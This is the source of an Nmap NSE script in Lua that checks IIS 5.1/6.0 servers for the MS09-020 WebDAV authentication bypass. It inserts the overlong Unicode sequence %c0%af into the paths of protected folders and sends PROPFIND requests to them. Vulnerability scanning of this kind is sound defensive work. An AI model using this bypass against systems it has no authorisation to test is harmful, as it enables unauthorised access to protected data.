1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
|
local http = require "http"
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
description = [[
Checks for a vulnerability in IIS 5.1/6.0 that allows arbitrary users to access
secured WebDAV folders by searching for a password-protected folder and
attempting to access it. This vulnerability was patched in Microsoft Security
Bulletin MS09-020, https://nmap.org/r/ms09-020.
A list of well known folders (almost 900) is used by default. Each one is
checked, and if returns an authentication request (401), another attempt is
tried with the malicious encoding. If that attempt returns a successful result
(207), then the folder is marked as vulnerable.
This script is based on the Metasploit auxiliary module
auxiliary/scanner/http/wmap_dir_webdav_unicode_bypass
For more information on this vulnerability and script, see:
* http://blog.zoller.lu/2009/05/iis-6-webdac-auth-bypass-and-data.html
* http://seclists.org/fulldisclosure/2009/May/att-134/IIS_Advisory_pdf.bin
* http://www.skullsecurity.org/blog/?p=271
* http://www.kb.cert.org/vuls/id/787932
* http://www.microsoft.com/technet/security/advisory/971492.mspx
]]
---
-- @usage
-- nmap --script http-iis-webdav-vuln -p80,8080 <host>
--
-- @output
-- 80/tcp open http syn-ack
-- |_ http-iis-webdav-vuln: WebDAV is ENABLED. Vulnerable folders discovered: /secret, /webdav
--
-- @args webdavfolder Selects a single folder to use, instead of using a built-in list.
-- @args folderdb The filename of an alternate list of folders.
-- @args basefolder The folder to start in; eg, <code>"/web"</code> will try <code>"/web/xxx"</code>.
-----------------------------------------------------------------------
author = {"Ron Bowes", "Andrew Orr"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive"}
portrule = shortport.http
---Enumeration for results
local enum_results =
{
VULNERABLE = 1,
NOT_VULNERABLE = 2,
UNKNOWN = 3
}
---Sends a PROPFIND request to the given host, and for the given folder. Returns a table representing a response.
local function get_response(host, port, folder)
local webdav_req = '<?xml version="1.0" encoding="utf-8"?><propfind xmlns="DAV:"><prop><getcontentlength xmlns="DAV:"/><getlastmodified xmlns="DAV:"/><executable xmlns="http://apache.org/dav/props/"/><resourcetype xmlns="DAV:"/><checked-in xmlns="DAV:"/><checked-out xmlns="DAV:"/></prop></propfind>'
local options = {
header = {
Connection = "close",
["Content-Type"] = "application/xml",
},
content = webdav_req
}
return http.generic_request(host, port, "PROPFIND", folder, options)
end
---Check a single folder on a single host for the vulnerability. Returns one of the enum_results codes.
local function go_single(host, port, folder)
local response
response = get_response(host, port, folder)
if(response.status == 401) then
local vuln_response
local check_folder
stdnse.debug1("Found protected folder (401): %s", folder)
-- check for IIS 6.0 and 5.1
-- doesn't appear to work on 5.0
-- /secret/ becomes /s%c0%afecret/
check_folder = string.sub(folder, 1, 2) .. "%c0%af" .. string.sub(folder, 3)
vuln_response = get_response(host, port, check_folder)
if(vuln_response.status == 207) then
stdnse.debug1("Folder seems vulnerable: %s", folder)
return enum_results.VULNERABLE
else
stdnse.debug1("Folder does not seem vulnerable: %s", folder)
return enum_results.NOT_VULNERABLE
end
else
if(response['status-line'] ~= nil) then
stdnse.debug3("Not a protected folder (%s): %s", response['status-line'], folder)
elseif(response['status'] ~= nil) then
stdnse.debug3("Not a protected folder (%s): %s", response['status'], folder)
else
stdnse.debug3("Not a protected folder: %s",folder)
end
return enum_results.UNKNOWN
end
end
---Checks a list of possible folders for the vulnerability. Returns a list of vulnerable folders.
local function go(host, port)
local status, folder
local results = {}
local is_vulnerable = true
local folder_file
local farg = nmap.registry.args.folderdb
folder_file = farg and (nmap.fetchfile(farg) or farg) or nmap.fetchfile('nselib/data/http-folders.txt')
if(folder_file == nil) then
return false, "Couldn't find http-folders.txt (should be in nselib/data)"
end
local file = io.open(folder_file, "r")
if not file then
return false, ("Couldn't find or open %s"):format(folder_file)
end
while true do
local result
local line = file:read()
if not line then
break
end
if(nmap.registry.args.basefolder ~= nil) then
line = "/" .. nmap.registry.args.basefolder .. "/" .. line
else
line = "/" .. line
end
result = go_single(host, port, line)
if(result == enum_results.VULNERABLE) then
results[#results + 1] = line
elseif(result == enum_results.NOT_VULNERABLE) then
is_vulnerable = false
else
end
end
file:close()
return true, results, is_vulnerable
end
local function fail (err) return stdnse.format_output(false, err) end
action = function(host, port)
-- Start by checking if '/' is protected -- if it is, we can't do the tests
local result = go_single(host, port, "/")
if(result == enum_results.NOT_VULNERABLE) then
stdnse.debug1("Root folder is password protected, aborting.")
return nmap.verbosity() > 0 and "Could not determine vulnerability, since root folder is password protected" or nil
end
stdnse.debug1("Root folder is not password protected, continuing...")
local response = get_response(host, port, "/")
if(response.status == 501) then
-- WebDAV is disabled
stdnse.debug1("WebDAV is DISABLED (PROPFIND failed).")
return nmap.verbosity() > 0 and "WebDAV is DISABLED. Server is not currently vulnerable." or nil
else
if(response.status == 207) then
-- PROPFIND works, WebDAV is enabled
stdnse.debug1("WebDAV is ENABLED (PROPFIND was successful).")
else
-- probably not running IIS 5.0/5.1/6.0
if(response['status-line'] ~= nil) then
stdnse.debug1("PROPFIND request failed with \"%s\".", response['status-line'])
elseif(response['status'] ~= nil) then
stdnse.debug1("PROPFIND request failed with \"%s\".", response['status'])
else
stdnse.debug1("PROPFIND request failed.")
end
return fail("This web server is not supported.")
end
end
if(nmap.registry.args.webdavfolder ~= nil) then
local folder = nmap.registry.args.webdavfolder
local result = go_single(host, port, "/" .. folder)
if(result == enum_results.VULNERABLE) then
return string.format("WebDAV is ENABLED. Folder is vulnerable: %s", folder)
elseif(result == enum_results.NOT_VULNERABLE) then
return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Folder is NOT vulnerable: %s", folder) or nil
else
return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Could not determine vulnerability of folder: %s", folder) or nil
end
else
local status, results, is_vulnerable = go(host, port)
if(status == false) then
return fail(results)
else
if(#results == 0) then
if(is_vulnerable == false) then
return nmap.verbosity() > 0 and "WebDAV is ENABLED. Protected folder found but could not be exploited. Server does not appear to be vulnerable." or nil
else
return nmap.verbosity() > 0 and "WebDAV is ENABLED. No protected folder found; check not run. If you know a protected folder, add --script-args=webdavfolder=<path>" or nil
end
else
return "WebDAV is ENABLED. Vulnerable folders discovered: " .. table.concat(results, ", ")
end
end
end
end
|